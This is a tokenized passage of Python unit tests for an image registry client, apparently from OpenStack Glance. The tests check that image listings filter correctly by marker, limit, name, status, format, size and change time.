"\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "images_", "[_", "0_", "]_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "marker", "\\u", "limit_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "correct", " ", "set", " ", "of", " ", "images", " ", "return", "ed", " ", "with", " ", "marker", "/", "limit", " ", "params", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "125", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "marker_", "=_", "UU", "ID", "3_", ",_", "limit_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "invalid", "\\u", "marker_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "exception", " ", "is", " ", "raise", "d", " ", "whe", "n", " ", "marker", " ", "is", " ", "invalid", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Invalid_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "marker_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "by", "\\u", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "name", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "image_", "in_", "images_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "image_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "by", "\\u", "status_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "status", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "{_", "'", "status", "'_", ":_", "'", "saving", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "image_", "in_", "images_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "'", "saving", "'_", ",_", "image_", "[_", "'", "status", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "by", "\\u", "container", "\\u", "format_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "container", "\\u", "format", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "image_", "in_", "images_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "'", "ov", "f", "'_", ",_", "image_", "[_", "'", "container", "\\u", "format", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "by", "\\u", "disk", "\\u", "format_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "disk", "\\u", "format", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "image_", "in_", "images_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "'", "vhd", "'_", ",_", "image_", "[_", "'", "disk", "\\u", "format", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "with", "\\u", "maxim", "um", "\\u", "size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "size", "\\u", "max", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "21_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "{_", "'", "size", "\\u", "max", "'_", ":_", "20_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "image_", "in_", "images_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "image_", "[_", "'", "size", "'_", "]_", "<=_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "with", "\\u", "minim", "um", "\\u", "size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "size", "\\u", "min", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "{_", "'", "size", "\\u", "min", "'_", ":_", "20_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "image_", "in_", "images_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "image_", "[_", "'", "size", "'_", "]_", ">=_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "with", "\\u", "change", "s", "\\u", "since_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "size", "\\u", "min", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dt", "1_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "-_", "datetime_", "._", "timedelta_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iso", "1_", "=_", "utils_", "._", "isot", "ime_", "(_", "dt", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dt", "2_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "+_", "datetime_", "._", "timedelta_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iso", "2_", "=_", "utils_", "._", "isot", "ime_", "(_", "dt", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dt", "3_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "+_", "datetime_", "._", "timedelta_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iso", "3_", "=_", "utils_", "._", "isot", "ime_", "(_", "dt", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dt", "4_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "+_", "datetime_", "._", "timedelta_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iso", "4_", "=_", "utils_", "._", "isot", "ime_", "(_", "dt", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "18_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "destroy_", "(_", "self_", "._", "context_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "4_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "4", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "\\u", "at", "'_", ":_", "dt", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "d\\u", "at", "'_", ":_", "dt", "3_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 